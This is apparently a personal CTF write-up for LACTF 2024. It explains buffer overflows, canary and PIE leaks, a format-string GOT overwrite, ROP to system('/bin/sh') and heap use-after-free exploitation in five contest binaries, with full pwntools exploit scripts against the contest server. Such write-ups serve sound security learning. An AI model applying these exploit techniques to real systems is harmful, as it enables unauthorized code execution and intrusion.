# LACTF 2024
Recently I've played `LACTF` and my efforts paid off with 5 challenges solved, including a `first blood` in `ppplot`.

Here are my writeups of some challenges:
**Aplet123**
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
void print_flag(void) {
char flag[256];
FILE *flag_file = fopen("flag.txt", "r");
fgets(flag, sizeof flag, flag_file);
puts(flag);
}
const char *const responses[] = {"L",
"amongus",
"true",
"pickle",
"GINKOID",
"L bozo",
"wtf",
"not with that attitude",
"increble",
"based",
"so true",
"monka",
"wat",
"monkaS",
"banned",
"holy based",
"daz crazy",
"smh",
"bruh",
"lol",
"mfw",
"skissue",
"so relatable",
"copium",
"untrue!",
"rolled",
"cringe",
"unlucky",
"lmao",
"eLLe",
"loser!",
"cope",
"I use arch btw"};
int main(void) {
setbuf(stdout, NULL);
srand(time(NULL));
char input[64];
puts("hello");
while (1) {
gets(input);
char *s = strstr(input, "i'm");
if (s) {
printf("hi %s, i'm aplet123\n", s + 4);
} else if (strcmp(input, "please give me the flag") == 0) {
puts("i'll consider it");
sleep(5);
puts("no");
} else if (strcmp(input, "bye") == 0) {
puts("bye");
break;
} else {
puts(responses[rand() % (sizeof responses / sizeof responses[0])]);
}
}
}
```
Checksec:
```sh
[*] '/home/fatalynk/CTF/lactf/aplet123/aplet123'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
```
At first glance, there is a `print_flag` function and we can spot `buffer overflow` caused by `gets`, but canary exists, so we need to figure out how to leak canary.
```c
printf("hi %s, i'm aplet123\n", s + 4);
```
It checks if our string contains `i'm`, and print it to stdout. If we input a string with `i'm` at the end, it is obvious to leak 7 bytes of canary.
It's easy as it is a ret2win challenge.
```py
from pwn import *
e = context.binary = ELF("./aplet123")
#r = e.process()
r = remote("chall.lac.tf", 31123)
r.sendline(b'A' * 0x45 + b"i'm")
r.recvuntil(b'hi ')
canary = u64(b'\0' + r.recv(7))
log.info(f'Canary: {hex(canary)}')
r.sendline(b'bye'.ljust(72, b'\0') + p64(canary) + p64(0) + p64(e.sym['print_flag']))
r.interactive()
```
**52-card**
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#define DECK_SIZE 0x52
#define QUEEN 1111111111
void setup() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
srand(time(NULL));
}
void win() {
char flag[256];
FILE *flagfile = fopen("flag.txt", "r");
if (flagfile == NULL) {
puts("Cannot read flag.txt.");
} else {
fgets(flag, 256, flagfile);
flag[strcspn(flag, "\n")] = '\0';
puts(flag);
}
}
long lrand() {
long higher, lower;
higher = (((long)rand()) << 32);
lower = (long)rand();
return higher + lower;
}
void game() {
int index;
long leak;
long cards[52] = {0};
char name[20];
for (int i = 0; i < 52; ++i) {
cards[i] = lrand();
}
index = rand() % 52;
cards[index] = QUEEN;
printf("==============================\n");
printf("index of your first peek? ");
scanf("%d", &index);
leak = cards[index % DECK_SIZE];
cards[index % DECK_SIZE] = cards[0];
cards[0] = leak;
printf("Peek 1: %lu\n", cards[0]);
printf("==============================\n");
printf("index of your second peek? ");
scanf("%d", &index);
leak = cards[index % DECK_SIZE];
cards[index % DECK_SIZE] = cards[0];
cards[0] = leak;
printf("Peek 2: %lu\n", cards[0]);
printf("==============================\n");
printf("Show me the lady! ");
scanf("%d", &index);
printf("==============================\n");
if (cards[index] == QUEEN) {
printf("You win!\n");
} else {
printf("Just missed. Try again.\n");
}
printf("==============================\n");
printf("Add your name to the leaderboard.\n");
getchar();
printf("Name: ");
fgets(name, 52, stdin);
printf("==============================\n");
printf("Thanks for playing, %s!\n", name);
}
int main() {
setup();
printf("Welcome to 52-card monty!\n");
printf("The rules of the game are simple. You are trying to guess which card "
"is correct. You get two peeks. Show me the lady!\n");
game();
return 0;
}
```
Another ret2win with `buffer overflow`. There is also `oob read` in index at both peeks. Leak `PIE` and `canary` then ret2win.
```c
from pwn import *
e = context.binary = ELF("./monty")
# = e.process()
r = remote("chall.lac.tf", 31132)
r.recv()
r.sendline(b'55')
r.recvuntil(b'Peek 1: ')
canary = int(r.recvline()[:-1])
log.info(f'Canary: {hex(canary)}')
r.recv()
r.sendline(b'57')
r.recvuntil(b'Peek 2: ')
e.address = int(r.recvline()[:-1]) - 0x167e
log.info(f'PIE: {hex(e.address)}')
r.recv()
r.sendline(b'2')
r.recv()
r.sendline(b'A' * 24 + p64(canary) + p64(0) + p64(e.sym['win'] + 1))
r.interactive()
```
**Sus**
```c
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4[56]; // [rsp+0h] [rbp-40h] BYREF
__int64 v5; // [rsp+38h] [rbp-8h]
setbuf(_bss_start, 0LL);
v5 = 69LL;
puts("sus?");
gets(v4);
sus(v5);
return 0;
}
```
A `buffer overflow` is clear to spot. But this one is linked with `libc-2.35`, no `pop rdi` gadget.
Check `ROPgadget` and I see an interesting gadget

This one is useful as we can set `rdi` to arbitrary value. With that, we can set `rbp` to bss, where contains the `libc` pointer.
After that, we just build an ROPchain to call `system('/bin/sh')`
```py
from pwn import *
e = context.binary =ELF("./sus_patched")
#r = e.process()
r = remote("chall.lac.tf", 31284)
l = ELF("./libc.so.6")
magic = 0x000000000401184
rbp = 0x000000000040112d
leave = 0x00000000004011a1
ret = leave + 1
sus = 0x00000000040114A
context.terminal = ['/usr/bin/vscode']
gs = """
b*main+51
"""
#gdb.attach(r, gs)
r.recvuntil(b'sus?\n')
pause()
r.sendline(b'A' * 0x40 + p64(0x404400) + p64(magic))
sleep(0.5)
r.sendline(p64(e.got.puts) * 8 + p64(0x404400 - 0x10) + p64(sus) + p64(e.plt.puts) * 2 + p64(rbp) + p64(0x404420 + 0x40) + p64(ret) * 10 + p64(magic))
l.address = u64(r.recv(6) + b'\0' * 2) - l.sym['puts']
log.info(f'Libc: {hex(l.address)}')
rdi = l.address + 0x00000000000277e5
ret = rdi + 1
rsi = 0x0000000000028f99 + l.address
rdx = 0x00000000000fddfd + l.address
system = l.sym['system']
bin_sh = next(l.search(b'/bin/sh'))
sleep(0.5)
r.sendline(b'\0' * 0x20 + p64(rdi) + p64(bin_sh) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(l.sym['execve']))
r.interactive()
```
**pizza**
```c
#include <stdio.h>
#include <string.h>
const char *available_toppings[] = {"pepperoni", "cheese", "olives",
"pineapple", "apple", "banana",
"grapefruit", "kubernetes", "pesto",
"salmon", "chopsticks", "golf balls"};
const int num_available_toppings =
sizeof(available_toppings) / sizeof(available_toppings[0]);
int main(void) {
setbuf(stdout, NULL);
printf("Welcome to kaiphait's pizza shop!\n");
while (1) {
printf("Which toppings would you like on your pizza?\n");
for (int i = 0; i < num_available_toppings; ++i) {
printf("%d. %s\n", i, available_toppings[i]);
}
printf("%d. custom\n", num_available_toppings);
char toppings[3][100];
for (int i = 0; i < 3; ++i) {
printf("> ");
int choice;
scanf("%d", &choice);
if (choice < 0 || choice > num_available_toppings) {
printf("Invalid topping");
return 1;
}
if (choice == num_available_toppings) {
printf("Enter custom topping: ");
scanf(" %99[^\n]", toppings[i]);
} else {
strcpy(toppings[i], available_toppings[choice]);
}
}
printf("Here are the toppings that you chose:\n");
for (int i = 0; i < 3; ++i) {
printf(toppings[i]);
printf("\n");
}
printf("Your pizza will be ready soon.\n");
printf("Order another pizza? (y/n): ");
char c;
scanf(" %c", &c);
if (c != 'y') {
break;
}
}
}
```
Checksec
```sh
[*] '/home/fatalynk/CTF/lactf/pizza_/pizza'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
```
`Format string` is located in option 12, where we can enter arbitrary string
Leak `libc` and `PIE`, then I choose to overwrite GOT of `strcpy` to `system`. We can set old `toppings[i]` to `/bin/sh`, so next turn printf will become `system("/bín/sh")`.
```py
from pwn import *
e = context.binary = ELF("./pizza_patched")
#r = e.process()
#r = remote("localhost", 5000)
r = remote("chall.lac.tf", 31134)
l = ELF("./libc.so.6")
r.recv()
r.sendline(b'12')
r.recv()
r.sendline(b'%47$p|%49$p')
r.recv()
r.sendline(b'0')
r.recv()
r.sendline(b'2')
r.recvuntil(b'Here are the toppings that you chose:\n')
l.address = int(r.recvuntil(b'|').strip(b'|'), 16) - 0x2724a
print(hex(l.address))
e.address = int(r.recvline()[:-1], 16) - 0x1189
print(hex(e.address))
system = l.sym['system']
strcpy = e.got['strcpy']
s1 = system & 0xff
s2 = (system >> 8) & 0xffff
s3 = (system >> 24) & 0xffff
r.recv()
r.sendline(b'y')
context.terminal = ['/usr/bin/vscode']
gs = """
brva 0x000000000000139A
"""
#gdb.attach(r, gs)
r.recv()
r.sendline(b'12')
r.recv()
pl = f'%{s1}c%14$hhn'.encode()
pl += f'%{(s2 - s1) & 0xffff}c%15$hn'.encode()
pl += f'%{(s3 - s2) & 0xffff}c%16$hn'.encode()
pl = pl.ljust(64, b'A')
pl += p64(e.got['strcpy'])
pl += p64(e.got['strcpy'] + 1)
pl += p64(e.got['strcpy'] + 3)
#pl += p64(e.got['strcpy'] + 4)
r.sendline(pl)
r.recv()
r.sendline(b'12')
r.recv()
r.sendline(b'/bin/sh\0')
r.recv()
#pause()
r.sendline(b'0')
r.recv()
r.sendline(b'y')
r.recv()
r.sendline(b'12')
r.recv()
r.sendline(b'a')
r.recv()
r.sendline(b'0')
r.sendline(b'cat flag.txt')
r.interactive()
```
**ppplot**
```C
__int64 __fastcall main(int a1, char **a2, char **a3)
{
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
memset(byte_4440, 46, sizeof(byte_4440));
while ( 2 )
{
printf("pp: ");
switch ( (unsigned int)read_int() )
{
case 1u:
add();
continue;
case 2u:
print();
continue;
case 3u:
calc_(0);
continue;
case 4u:
calc_(1);
continue;
case 5u:
free_();
continue;
case 6u:
memset(byte_4440, 46, sizeof(byte_4440));
continue;
case 7u:
return 0LL;
default:
puts("invalid choice");
break;
}
break;
}
return 0LL;
}
```
A heap note challenge
Looking over the pseudocode, I found a use-after-free in option 5.
```C
void free_()
{
unsigned int idx; // [rsp+Ch] [rbp-4h]
printf("idx: ");
idx = read_int();
if ( idx < 0x80 )
free(coefficient_arr[idx]);
else
puts("index out of bounds");
}
```
After reversing, I found there is a struct implemented here.
```c
struct coefficient {
uint32_t num;
int32_t *arr;
};
```
And all the input entered by the user will be parsed in order to be used in a equation, which is like:
```
arr[0] + arr[1]x + arr[2]x^2 + arr[3]x^3 +...+arr[n]x^n
```
Option 3 and 4 is to calculate the equation based on x provided, which is from -32 to 32
#### Arbitrary read
We use option 3 and 4 to leak heap and libc

##### Leak heap
Since we can see after a chunk is freed, it will store the address of `tcache_perthread_struct` here.
My strategy is:
- Allocate 2 chunks with num < 7, so that it will `malloc(0x10)` twice
- Free 2 chunks
- Allocate 2 chunks with num = 4 again, so that it will use both 2 chunks, and one chunk containing an array of heap will be used as an array.
- Free the first chunk, so that `tcache_perthread_struct` will be there.
- Calculate that first chunk, so it will leak heap for us
```py
free(1)
free(0)
add(4, [1, 1, 1, 1])
free(1)
calc(0)
```

Now chunk 0 will use 4 numbers in chunk 1 to calculate, with which we can leak heap as in `0x5587cc09e2e0` is all zero.
#### Leak libc
There is no libc pointer stored in heap, so I will find a way to put chunk into unsorted bin.
But it is not so easy to achieve arbitrary write into specific chunk because of no edit function.
How could we do that?
It crossed my mind that `fastbin poison` is possible, so we can fill the tcache list, then free two chunks indirectly.
Then, we can overwrite a chunk's size to a number larger than 0x420, so if we free it, it will be put into unsorted bin
Use the same way to leak heap, we can leak libc then.
### Arbitrary write
Use the same way as we overwrite to write the address of `__free_hook` into tcachebin
```py
from pwn import *
e = context.binary = ELF("./ppplot")
r = e.process()
l = ELF("./libc.so.6")
#r = remote('chall.lac.tf', 31164)
def choice(c: int):
r.sendlineafter(b'pp: ', str(c).encode())
def add(degree: int, coefficient: list):
choice(1)
r.sendlineafter(b'degree: ', str(degree).encode())
for i in range(degree):
r.sendlineafter(f'enter coefficient {i}: '.encode(), str(coefficient[i]).encode())
def free(idx: int):
choice(5)
r.sendlineafter(b'idx: ', str(idx).encode())
def calc(idx: int):
choice(3)
r.sendlineafter(b'idx: ', str(idx).encode())
context.terminal = ['/usr/bin/vscode']
gs ="""
"""
for i in range(30):
if i == 4:
add(4, [0x21, 0x21, 0x21, 0])
add(2, [1, 2])
add(2, [1, 2])
add(2, [1, 2])
free(30)
free(31)
bin_sh = u64(b'/bin/sh\0')
add(2, [bin_sh & 0xffffffff, (bin_sh >> 32) & 0xffffffff])
#add(7, [1, 1, 1, 1, 1, 1, 1])
gdb.attach(r, gs)
free(1)
free(0)
add(4, [1, 1, 1, 1])
free(1)
pause()
calc(0)
r.recvuntil(b'-1, ')
first = int(r.recvuntil(b')').strip(b')'))
if first < 0:
first = 2**32 + first
#log.info(f'First: {hex(first)}')
r.recvuntil(b'1, ')
second = int(r.recvuntil(b')').strip(b')'))
if second < 0:
second = 2**32 + second
print(hex(first))
print(hex(second))
a = (first + second)//2
b = (abs(first - second))//2
heap = (b << 32) + a
heap = heap - 0x10
log.info(f'Heap: {hex(heap)}')
for i in range(5, 11):
free(i)
free(14)
free(12)
free(13)
free(12)
for i in range(3):
add(2, [1, 1])
target = heap + 0x350
add(2, [target & 0xffffffff, (target >> 32) & 0xffff])
#add(6, )
add(7, [1, 1, 1, 1, 1, 1, 1])
free(15)
free(16)
add(4, [2, 0, (heap + 0x360) & 0xffffffff, ((heap + 0x360) >> 32) & 0xffff])
#free(4)
#add(7, [1, 1, 1, 1, 1, 1, 1])
add(4, [0, 0, 0x4a1, 0])
free(3)
#free(20)
#free(21)
calc(15)
r.recvuntil(b'-1, ')
r.recvuntil(b'0, ')
a = int(r.recvuntil(b')').strip(b')'))
r.recvuntil(b'1, ')
b = int(r.recvuntil(b')').strip(b')'))
c = b - a
if a < 0:
a = 2**32 + a
l.address = c << 32
l.address += a
l.address -= 0x1ecbe0
log.info(f'Libc: {hex(l.address)}')
for i in range(19, 27):
free(i)
free(27)
free(28)
free(27)
for i in range(3):
add(2, [1, 1])
free_hook = l.sym['__free_hook']
system = l.sym['system']
add(2, [free_hook & 0xffffffff, (free_hook >> 32) & 0xffff])
add(7, [1, 1, 1, 1, 1, 1, 1])
add(2, [system & 0xffffffff, (system >> 32) & 0xffff])
free(30)
r.sendline(b'cat flag*')
r.interactive()
```